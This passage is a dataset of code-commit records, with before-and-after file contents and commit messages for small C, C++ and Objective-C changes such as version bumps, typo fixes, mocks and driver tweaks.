{"commit":"e8d91bde77671b2448d041a05ef6ebbec13d8668","old_file":"src\/components\/include\/test\/application_manager\/mock_app_extension.h","new_file":"src\/components\/include\/test\/application_manager\/mock_app_extension.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2018, Ford Motor Company\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n *\n * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided with the\n * distribution.\n *\n * Neither the name of the Ford Motor Company nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef SRC_COMPONENTS_INCLUDE_TEST_APPLICATION_MANAGER_MOCK_APP_EXTENSION_H_\n#define SRC_COMPONENTS_INCLUDE_TEST_APPLICATION_MANAGER_MOCK_APP_EXTENSION_H_\n\n#include \"gmock\/gmock.h\"\n#include \"application_manager\/app_extension.h\"\n\nnamespace test {\nnamespace components {\nnamespace application_manager_test {\n\nnamespace {\nstatic unsigned MockAppExtensionUID = 123;\n}  \/\/ namespace\n\nclass MockAppExtension : public application_manager::AppExtension {\n public:\n  MockAppExtension() : AppExtension(MockAppExtensionUID) {}\n  MOCK_METHOD1(\n      SaveResumptionData,\n      void(NsSmartDeviceLink::NsSmartObjects::SmartObject& resumption_data));\n  MOCK_METHOD1(ProcessResumption,\n               void(const NsSmartDeviceLink::NsSmartObjects::SmartObject&\n                        resumption_data));\n};\n\n}  \/\/ namespace application_manager_test\n}  \/\/ namespace components\n}  \/\/ namespace test\n\n#endif  \/\/ SRC_COMPONENTS_INCLUDE_TEST_APPLICATION_MANAGER_MOCK_APP_EXTENSION_H_\n","subject":"Add mock for AppExtension class","message":"Add mock for AppExtension class\n","lang":"C","license":"bsd-3-clause","repos":"smartdevicelink\/sdl_core,smartdevicelink\/sdl_core,smartdevicelink\/sdl_core,smartdevicelink\/sdl_core"}
{"commit":"93493c306432d030d91ef0d27f5dd5314eb1cab4","old_file":"scivis\/pup_operators.h","new_file":"scivis\/pup_operators.h","old_contents":"","new_contents":"#pragma once\n\n#include <glm\/glm.hpp>\n#include \"sv\/scivis.h\"\n\ninline void operator|(PUP::er &p, sv::VolumeDType &dtype) {\n\tif (p.isUnpacking()) {\n\t\tint t = 0;\n\t\tp | t;\n\t\tdtype = (sv::VolumeDType)t;\n\t} else {\n\t\tint t = dtype;\n\t\tp | t;\n\t}\n}\ninline void operator|(PUP::er &p, glm::uvec3 &v) {\n\tp | v.x;\n\tp | v.y;\n\tp | v.z;\n}\n\n","subject":"Add operators for some types for PUP","message":"Add operators for some types for PUP\n","lang":"C","license":"mit","repos":"Twinklebear\/Charm-experiments,Twinklebear\/Charm-experiments,Twinklebear\/Charm-experiments"}
{"commit":"5d4adccfabf26f2995b6726a75fdde281e20e8ac","old_file":"texor.c","new_file":"texor.c","old_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disableRawMode() {\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enableRawMode() {\n  tcgetattr(STDIN_FILENO, &orig_termios);\n  atexit(disableRawMode);\n\n  struct termios raw = orig_termios;\n  raw.c_iflag &= ~(ICRNL | IXON);\n  raw.c_oflag &= ~(OPOST);\n  raw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n  enableRawMode();\n\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c!= 'q') {\n    if (iscntrl(c)) {\n      printf(\"%d\\r\\n\", c);\n    } else {\n      printf(\"%d ('%c')\\r\\n\", c, c);\n    }\n  }\n  return 0;\n}\n","new_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disableRawMode() {\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enableRawMode() {\n  tcgetattr(STDIN_FILENO, &orig_termios);\n  atexit(disableRawMode);\n\n  struct termios raw = orig_termios;\n  raw.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON);\n  raw.c_oflag &= ~(OPOST);\n  raw.c_cflag |= (CS8);\n  raw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n  enableRawMode();\n\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c!= 'q') {\n    if (iscntrl(c)) {\n      printf(\"%d\\r\\n\", c);\n    } else {\n      printf(\"%d ('%c')\\r\\n\", c, c);\n    }\n  }\n  return 0;\n}\n","subject":"Disable a few misc flags","message":"Disable a few misc flags\n","lang":"C","license":"bsd-2-clause","repos":"kyletolle\/texor"}
{"commit":"46f1e784fefa16719ec7dcbf9ccc4270656fc7df","old_file":"TWRBorderedView\/TWRBorderedView.h","new_file":"TWRBorderedView\/TWRBorderedView.h","old_contents":"\/\/\n\/\/  TWRBorderedView.h\n\/\/  TWRBorderedView\n\/\/\n\/\/  Created by Michelangelo Chasseur on 15\/04\/14.\n\/\/  Copyright (c) 2014 Touchware. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\ntypedef NS_OPTIONS(NSUInteger, TWRBorderMask) {\n    TWRBorderMaskTop      = 1 << 0,\n    TWRBorderMaskBottom   = 1 << 1,\n    TWRBorderMaskLeft     = 1 << 2,\n    TWRBorderMaskRight    = 1 << 3\n};\n\n@interface TWRBorderedView : UIView\n\n@property (nonatomic, assign) TWRBorderMask mask;\n@property (nonatomic, assign) CGFloat borderWidth;\n\n@property (strong, nonatomic) UIColor *borderColor;\n\n\/\/ Use when assigning values from a XIB file\n@property (nonatomic, assign) BOOL topBorder;\n@property (nonatomic, assign) BOOL bottomBorder;\n@property (nonatomic, assign) BOOL leftBorder;\n@property (nonatomic, assign) BOOL rightomBorder;\n\n- (id)initWithFrame:(CGRect)frame borderWidth:(CGFloat)width color:(UIColor *)color andMask:(TWRBorderMask)mask;\n\n@end\n","new_contents":"\/\/\n\/\/  TWRBorderedView.h\n\/\/  TWRBorderedView\n\/\/\n\/\/  Created by Michelangelo Chasseur on 15\/04\/14.\n\/\/  Copyright (c) 2014 Touchware. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\ntypedef NS_OPTIONS(NSUInteger, TWRBorderMask) {\n    TWRBorderMaskTop      = 1 << 0,\n    TWRBorderMaskBottom   = 1 << 1,\n    TWRBorderMaskLeft     = 1 << 2,\n    TWRBorderMaskRight    = 1 << 3\n};\n\n@interface TWRBorderedView : UIView\n\n@property (nonatomic, assign) TWRBorderMask mask;\n@property (nonatomic, assign) CGFloat borderWidth;\n\n@property (strong, nonatomic) UIColor *borderColor;\n\n\/\/ Use when assigning values from a XIB file\n@property (nonatomic, assign) BOOL topBorder;\n@property (nonatomic, assign) BOOL bottomBorder;\n@property (nonatomic, assign) BOOL leftBorder;\n@property (nonatomic, assign) BOOL rightBorder;\n\n- (id)initWithFrame:(CGRect)frame borderWidth:(CGFloat)width color:(UIColor *)color andMask:(TWRBorderMask)mask;\n\n@end\n","subject":"Fix spelling in property naming.","message":"Fix spelling in property naming.","lang":"C","license":"mit","repos":"chasseurmic\/TWRBorderedView,ChetanGandhi\/TWRBorderedView"}
{"commit":"9a00f8af17d4b4d5810c04f9861217014df99dc2","old_file":"src\/imap\/cmd-close.c","new_file":"src\/imap\/cmd-close.c","old_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\telse if (mailbox_sync(mailbox, 0, 0, NULL) < 0)\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","subject":"Synchronize the mailbox after expunging messages to actually get them expunged.","message":"CLOSE: Synchronize the mailbox after expunging messages to actually get them\nexpunged.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"jkerihuel\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch"}
{"commit":"b4c0e72db659adff77f16277cf8634d6efc32a51","old_file":"VisualPractice\/commands.h","new_file":"VisualPractice\/commands.h","old_contents":"#ifndef TE_COMMANDS_H\n#define TE_COMMANDS_H\n\n#include <functional>\n#include <map>\n#include <SDL_keycode.h>\n#include <SDL_events.h>\n#include <memory>\n\nnamespace te\n{\n    class Rectangle;\n\n    enum class Action { UP, DOWN };\n\n    typedef std::function<void()> Command;\n\n    typedef std::map<Action, Command> CommandMap;\n\n    CommandMap createPaddleCommandMap(std::shared_ptr<Rectangle> pPaddle);\n\n    typedef std::map<std::pair<SDL_Keycode, Uint32>, Action> KeyMap;\n\n    KeyMap createPaddleKeyMap(unsigned int configN = 1);\n}\n\n#endif \/* TE_COMMANDS_H *\/\n","new_contents":"#ifndef TE_COMMANDS_H\n#define TE_COMMANDS_H\n\n#include <functional>\n#include <map>\n#include <SDL_keycode.h>\n#include <SDL_events.h>\n#include <memory>\n\nnamespace te\n{\n    class Rectangle;\n\n    enum class Action { UP, DOWN };\n\n    \/\/typedef std::function<void()> Command;\n\n    \/\/typedef std::map<Action, Command> CommandMap;\n\n    \/\/CommandMap createPaddleCommandMap(std::shared_ptr<Rectangle> pPaddle);\n\n    \/\/typedef std::map<std::pair<SDL_Keycode, Uint32>, Action> KeyMap;\n\n    \/\/KeyMap createPaddleKeyMap(unsigned int configN = 1);\n}\n\n#endif \/* TE_COMMANDS_H *\/\n","subject":"Comment out old Command to avoid name collisions","message":"Comment out old Command to avoid name collisions\n","lang":"C","license":"mit","repos":"evinstk\/TantechEngine,evinstk\/TantechEngineOriginal,evinstk\/TantechEngine,evinstk\/TantechEngineOriginal,evinstk\/TantechEngine,evinstk\/TantechEngine,evinstk\/TantechEngineOriginal,evinstk\/TantechEngineOriginal,evinstk\/TantechEngine,evinstk\/TantechEngineOriginal,evinstk\/TantechEngine,evinstk\/TantechEngineOriginal"}
{"commit":"093693a7dc5c39d74498bb99fa3f9782fdad63f1","old_file":"test2\/int_overflow\/trapv_shift.c","new_file":"test2\/int_overflow\/trapv_shift.c","old_contents":"\/\/ RUN: %ucc -ftrapv -fno-const-fold -o %t %s\n\/\/ RUN: %t; [ $? -ne 0 ]\n\nmain()\n{\n\tint x;\n\n\t\/\/ ensure powers of two aren't shift-converted, as overflow can't catch this\n\tx = -3 * 0x4000000000000000;\n\n\treturn 0;\n}\n","new_contents":"\/\/ RUN: %ocheck SIGILL %s -ftrapv -fno-const-fold -DT=int\n\/\/ RUN: %ocheck SIGILL %s -ftrapv -fno-const-fold -DT=long\n\/\/ RUN: %ocheck 0 %s -fno-const-fold -DT=int\n\/\/ RUN: %ocheck 0 %s -fno-const-fold -DT=long\n\nmain()\n{\n\t\/\/ test with T being both int and long, to check how truncations are dealt with\n\tT x;\n\n\t\/\/ ensure powers of two aren't shift-converted, as overflow can't catch this\n\tx = -3 * 0x4000000000000000;\n\n\treturn 0;\n}\n","subject":"Update trapv tests with explicit signal name","message":"Update trapv tests with explicit signal name\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"54e41dd08a06f978a6d123f19f5bbe39370f04ea","old_file":"audio\/null_audio_poller.h","new_file":"audio\/null_audio_poller.h","old_contents":"\/*\n *  Copyright (c) 2017 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef AUDIO_NULL_AUDIO_POLLER_H_\n#define AUDIO_NULL_AUDIO_POLLER_H_\n\n#include \"modules\/audio_device\/include\/audio_device_defines.h\"\n#include \"rtc_base\/messagehandler.h\"\n#include \"rtc_base\/thread_checker.h\"\n\nnamespace webrtc {\nnamespace internal {\n\nclass NullAudioPoller final : public rtc::MessageHandler {\n public:\n  explicit NullAudioPoller(AudioTransport* audio_transport);\n  ~NullAudioPoller();\n\n protected:\n  void OnMessage(rtc::Message* msg) override;\n\n private:\n  const rtc::ThreadChecker thread_checker_;\n  AudioTransport* const audio_transport_;\n  int64_t reschedule_at_;\n};\n\n}  \/\/ namespace internal\n}  \/\/ namespace webrtc\n\n#endif  \/\/ AUDIO_NULL_AUDIO_POLLER_H_\n","new_contents":"\/*\n *  Copyright (c) 2017 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef AUDIO_NULL_AUDIO_POLLER_H_\n#define AUDIO_NULL_AUDIO_POLLER_H_\n\n#include \"modules\/audio_device\/include\/audio_device_defines.h\"\n#include \"rtc_base\/messagehandler.h\"\n#include \"rtc_base\/thread_checker.h\"\n\nnamespace webrtc {\nnamespace internal {\n\nclass NullAudioPoller final : public rtc::MessageHandler {\n public:\n  explicit NullAudioPoller(AudioTransport* audio_transport);\n  ~NullAudioPoller();\n\n protected:\n  void OnMessage(rtc::Message* msg) override;\n\n private:\n  rtc::ThreadChecker thread_checker_;\n  AudioTransport* const audio_transport_;\n  int64_t reschedule_at_;\n};\n\n}  \/\/ namespace internal\n}  \/\/ namespace webrtc\n\n#endif  \/\/ AUDIO_NULL_AUDIO_POLLER_H_\n","subject":"Remove const from ThreadChecker in NullAudioPoller.","message":"Remove const from ThreadChecker in NullAudioPoller.\n\nTBR=henrika@webrtc.org,solenberg@webrtc.org\n\nBug: webrtc:8482\nChange-Id: Ib2738224e776618c692db95cd9473335bc17be15\nReviewed-on: https:\/\/webrtc-review.googlesource.com\/17540\nCommit-Queue: Björn Terelius <efeae16329b3cb4ac5daf80d4bfda3344c027db3@webrtc.org>\nReviewed-by: Björn Terelius <efeae16329b3cb4ac5daf80d4bfda3344c027db3@webrtc.org>\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#20505}","lang":"C","license":"bsd-3-clause","repos":"TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc"}
{"commit":"5be6eff496407146af24c8e85ae2c560b40eeab8","old_file":"src\/safe_memory.c","new_file":"src\/safe_memory.c","old_contents":"#include \"safe-c\/safe_memory.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nvoid* safe_malloc_function(size_t size, const char* calling_function)\n{\n    if (size == 0)\n    {\n        fprintf(stderr, \"Error allocating memory: The function %s called \"\n                \"'safe_malloc' and requested zero memory. The pointer should \"\n                \"be explicitly set to NULL instead.\\n\",\n                calling_function);\n        exit(EXIT_FAILURE);\n    }\n\n    void* memory = malloc(size);\n    if (!memory)\n    {\n        fprintf(stderr, \"Error allocating memory: The function %s called \"\n                \"'safe_malloc' requesting %u bytes of memory, but an error \"\n                \"occurred allocating this amount of memory. Exiting\",\n                calling_function);\n        exit(EXIT_FAILURE);\n    }\n    memset(memory, 0, size);\n    return memory;\n}\n\nvoid safe_free_function(void** pointer)\n{\n    if (pointer != NULL)\n    {\n        free(*pointer);\n        *pointer = NULL;\n    }\n}\n","new_contents":"#include \"safe-c\/safe_memory.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nvoid* safe_malloc_function(size_t size, const char* calling_function)\n{\n    if (size == 0)\n    {\n        fprintf(stderr, \"Error allocating memory: The function %s called \"\n                \"'safe_malloc' and requested zero memory. The pointer should \"\n                \"be explicitly set to NULL instead.\\n\",\n                calling_function);\n        exit(EXIT_FAILURE);\n    }\n\n    void* memory = malloc(size);\n    if (!memory)\n    {\n        fprintf(stderr, \"Error allocating memory: The function %s called \"\n                \"'safe_malloc' requesting %zu bytes of memory, but an error \"\n                \"occurred allocating this amount of memory. Exiting\",\n                calling_function, size);\n        exit(EXIT_FAILURE);\n    }\n    memory = memset(memory, 0, size);\n    return memory;\n}\n\nvoid safe_free_function(void** pointer)\n{\n    if (pointer != NULL)\n    {\n        free(*pointer);\n        *pointer = NULL;\n    }\n}\n","subject":"Add value parameter to fprintf in safe_malloc","message":"Fix: Add value parameter to fprintf in safe_malloc\n\nChanged the value type in the `fprintf` from `u` to `zu`, this is because `size` is of type `size_t` and not `unsigned int`.\nIn addation, asign the return value of memset to `memory`.\n","lang":"C","license":"mit","repos":"VanJanssen\/safe-c,ErwinJanssen\/elegan-c,VanJanssen\/elegan-c"}
{"commit":"2dcd6e7fb0ec86accdf06f9ebd4ad72a54b48fcd","old_file":"servo.c","new_file":"servo.c","old_contents":"","new_contents":"\/**\n * This program sets up a 50 Hz PWM and a basic UART command structure.\n * Users may connect to the UART and send one byte at a time to make up\n * more complex commands.  The basic layout of the command format is\n * like this: [B_1,B_2,0xFE], with the commas, brackets, and quotes all\n * being abstract (e.g. not really sent across the wire).\n *\n * B_1 will generally be the servo of interest (e.g. 'A' or 'B').\n * B_2 will generally be a byte between 0 and 180, representing degrees.\n * B_1 and B_2 may be sent interchangeably or even many times over, and the\n * AVR will just continue to record the data and echo bytes received back\n * to the sender until a COMMAND_EXEC_BYTE is reached.\n *\n * Bytes sent across the wire will be echoed back to the sending device,\n * except in the case when COMMAND_EXEC_BYTE (0xFE) is received.  In that\n * case, ACK_BYTE (0xFF) will be sent back to the sending device.\n *\n * In the case where the AVR thinks you are trying to set the degrees and\n * the degrees are outside the range of [0,180], it will send back a BAD_BYTE.\n *\/\n#include <inttypes.h>\n\n#include <avr\/interrupt.h>\n#include <avr\/io.h>\n\n#include \"servo.h\"\n#include \"uart.h\"\n\n#define COMMAND_EXEC_BYTE 0xFD\n#define BAD_BYTE 0xFE\n#define ACK_BYTE 0xFF\n\nint main (void) {\n  servo_init(OC1A | OC1B);\n  uart_enable(UM_Asynchronous);\n  sei();\n\n  volatile uint16_t* pin = 0;\n  uint8_t degrees = 0;\n  for (;;) {\n    volatile unsigned char b = uart_receive();\n    switch (b) {\n    case COMMAND_EXEC_BYTE:\n      *pin = servo(degrees);\n      b = ACK_BYTE;\n      break;\n    case 'A':\n      pin = &OCR1A;\n      break;\n    case 'B':\n      pin = &OCR1B;\n      break;\n    case ACK_BYTE:\n      break;\n    default:\n      if (b > 180) {\n        b = BAD_BYTE;\n      } else {\n        degrees = b;\n      }\n      break;\n    }\n    \n    uart_transmit(b);\n  }\n\n  return 0;\n}\n","subject":"Add a missing file, even though it doesn't do much right now.","message":"Add a missing file, even though it doesn't do much right now.\n","lang":"C","license":"mpl-2.0","repos":"grimwm\/avr,grimwm\/avr,grimwm\/avr,grimwm\/avr"}
{"commit":"174758bdd8ff7b763e274ccd6cfe84bf73f91f68","old_file":"trace.h","new_file":"trace.h","old_contents":"#ifndef _TRACE_H_\n#define _TRACE_H_\n#include <stdio.h>\n#include <errno.h>\n\n#ifdef DEBUG\n#define TRACE ERROR\n#else\n#define TRACE(fmt,arg...) ((void) 0)\n#endif\n\n#define ERROR(fmt,arg...) \\\n  fprintf(stderr, \"%s:%s:%d: \"fmt, program_invocation_short_name, __func__, __LINE__, ##arg)\n\n#define FATAL(fmt,arg...) do { \\\n    ERROR(fmt, ##arg);         \\\n    exit(1);                   \\\n  } while (0)\n\n#endif\n","new_contents":"#ifndef _TRACE_H_\n#define _TRACE_H_\n#include <stdio.h>\n#include <errno.h>\n\n#ifdef DEBUG\n#define TRACE ERROR\n#else\n#define TRACE(fmt,arg...) ((void) 0)\n#endif\n\n#ifdef DEBUG\n#define ERROR(fmt,arg...) \\\n  fprintf(stderr, \"%s:%d: \"fmt, __func__, __LINE__, ##arg)\n#else\n#define ERROR(fmt,arg...) \\\n  fprintf(stderr, \"%s: \"fmt, program_invocation_short_name, ##arg)\n#endif\n\n#define FATAL(fmt,arg...) do { \\\n    ERROR(fmt, ##arg);         \\\n    exit(1);                   \\\n  } while (0)\n\n#endif\n","subject":"Add __func__, __LINE__ to TRACE if DEBUG, otherwise add progname.","message":"Add __func__, __LINE__ to TRACE if DEBUG, otherwise add progname.\n","lang":"C","license":"lgpl-2.1","repos":"TACCProjects\/tacc_stats,aaichsmn\/tacc_stats,TACCProjects\/tacc_stats,rtevans\/tacc_stats_old,TACCProjects\/tacc_stats,dimm0\/tacc_stats,TACC\/tacc_stats,TACC\/tacc_stats,sdsc\/xsede_stats,ubccr\/tacc_stats,dimm0\/tacc_stats,ubccr\/tacc_stats,sdsc\/xsede_stats,sdsc\/xsede_stats,aaichsmn\/tacc_stats,ubccr\/tacc_stats,TACC\/tacc_stats,ubccr\/tacc_stats,dimm0\/tacc_stats,TACCProjects\/tacc_stats,aaichsmn\/tacc_stats,sdsc\/xsede_stats,aaichsmn\/tacc_stats,dimm0\/tacc_stats,ubccr\/tacc_stats,dimm0\/tacc_stats,TACC\/tacc_stats,rtevans\/tacc_stats_old,TACC\/tacc_stats,rtevans\/tacc_stats_old"}
{"commit":"a198c3d0393faa1fa9f0e6e917ce980d3638f8df","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2008 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.02.01-k1\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t2\n#define QLA_DRIVER_PATCH_VER\t1\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2008 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.02.01-k2\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t2\n#define QLA_DRIVER_PATCH_VER\t1\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update version number to 8.02.01-k2.","message":"[SCSI] qla2xxx: Update version number to 8.02.01-k2.\n\nSigned-off-by: Andrew Vasquez <67840a4977006af7f584bdc4c86d7243c1629cad@qlogic.com>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@HansenPartnership.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"cf3059a12936f8e92876e56b50bcdb092be70645","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k13\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k14\"\n","subject":"Update driver version to 5.02.00-k14","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k14\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"04fedf7ef8260ffbb1bbefc214aae279a62f6973","old_file":"SSPSolution\/SSPSolution\/DoorEntity.h","new_file":"SSPSolution\/SSPSolution\/DoorEntity.h","old_contents":"#ifndef SSPAPPLICATION_ENTITIES_DOORENTITY_H\n#define SSPAPPLICATION_ENTITIES_DOORENTITY_H\n\n#include \"Entity.h\"\n#include <vector>\n\nclass DoorEntity :\n\tpublic Entity\n{\nprivate:\n\tstruct ElementState {\n\t\tint entityID;\n\t\tEVENT desiredState;\n\t\tbool desiredStateReached;\n\t};\n\n\tstd::vector<ElementState> m_elementStates;\n\t\n\tbool m_isOpened;\n\tfloat m_minRotation;\n\tfloat m_maxRotation;\n\tfloat m_rotateTime;\n\tfloat m_rotatePerSec;\n\npublic:\n\tDoorEntity();\n\tvirtual ~DoorEntity();\n\t\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp, float rotateTime = 1.0f, float minRotation = 0.0f, float maxRotation = DirectX::XM_PI \/ 2.0f);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\n\n\tbool SetIsOpened(bool isOpened);\n\tbool GetIsOpened();\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_ENTITIES_DOORENTITY_H\n#define SSPAPPLICATION_ENTITIES_DOORENTITY_H\n\n#include \"Entity.h\"\n#include <vector>\n\nclass DoorEntity :\n\tpublic Entity\n{\nprivate:\n\t\/*struct ElementState {\n\t\tint entityID;\n\t\tEVENT desiredState;\n\t\tbool desiredStateReached;\n\t};\n\n\tstd::vector<ElementState> m_elementStates;*\/\n\t\n\tbool m_isOpened;\n\tfloat m_minRotation;\n\tfloat m_maxRotation;\n\tfloat m_rotateTime;\n\tfloat m_rotatePerSec;\n\npublic:\n\tDoorEntity();\n\tvirtual ~DoorEntity();\n\t\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp, float rotateTime = 1.0f, float minRotation = 0.0f, float maxRotation = DirectX::XM_PI \/ 2.0f);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\n\n\tbool 